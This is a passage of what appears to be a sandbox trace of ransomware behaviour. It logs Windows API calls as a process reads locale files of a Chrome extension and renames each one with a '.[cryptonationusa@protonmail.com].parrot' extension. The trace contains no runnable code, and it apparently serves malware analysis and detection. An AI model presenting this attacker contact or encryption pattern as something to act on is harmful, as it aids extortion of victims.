Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.888] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.888] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.888] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.888] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.888] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.891] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x231, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.891] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.891] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.892] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.892] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x119, lpOverlapped=0x0) returned 1 [0068.893] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.893] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x231, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.893] CloseHandle (hObject=0x270) returned 1 [0068.893] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0068.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0068.925] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.926] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6a1d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6a1d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.926] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb69d11e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.926] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.926] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.926] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.926] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.926] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.926] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.926] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26a, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.927] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.927] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.927] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.928] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x152, lpOverlapped=0x0) returned 1 [0068.928] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.928] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.928] CloseHandle (hObject=0x270) returned 1 [0068.928] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d05d8 | out: hHeap=0x5b0000) returned 1 [0068.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01d8 | out: hHeap=0x5b0000) returned 1 [0068.930] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.930] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6a1d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6a1d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.930] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6a1d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.931] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.931] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.931] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.931] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.931] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.931] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f7ed20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.939] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22a, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.939] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.940] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x112, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.941] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.941] CloseHandle (hObject=0x270) returned 1 [0068.941] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0068.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.956] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0068.957] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.957] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6a69760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6a69760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.957] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f7ed20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6a43600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.957] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.958] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.958] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.958] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.958] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.958] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.958] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x224, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.958] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.958] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.959] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.959] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10c, lpOverlapped=0x0) returned 1 [0068.959] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.960] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x224, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.960] CloseHandle (hObject=0x270) returned 1 [0068.960] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0069.107] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.107] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6ab5a20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6ab5a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.107] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6a69760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.107] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.108] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.108] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.108] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fca810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.157] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x237, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.157] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.157] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.161] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.161] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x11f, lpOverlapped=0x0) returned 1 [0069.162] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.162] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x237, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.162] CloseHandle (hObject=0x28c) returned 1 [0069.162] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 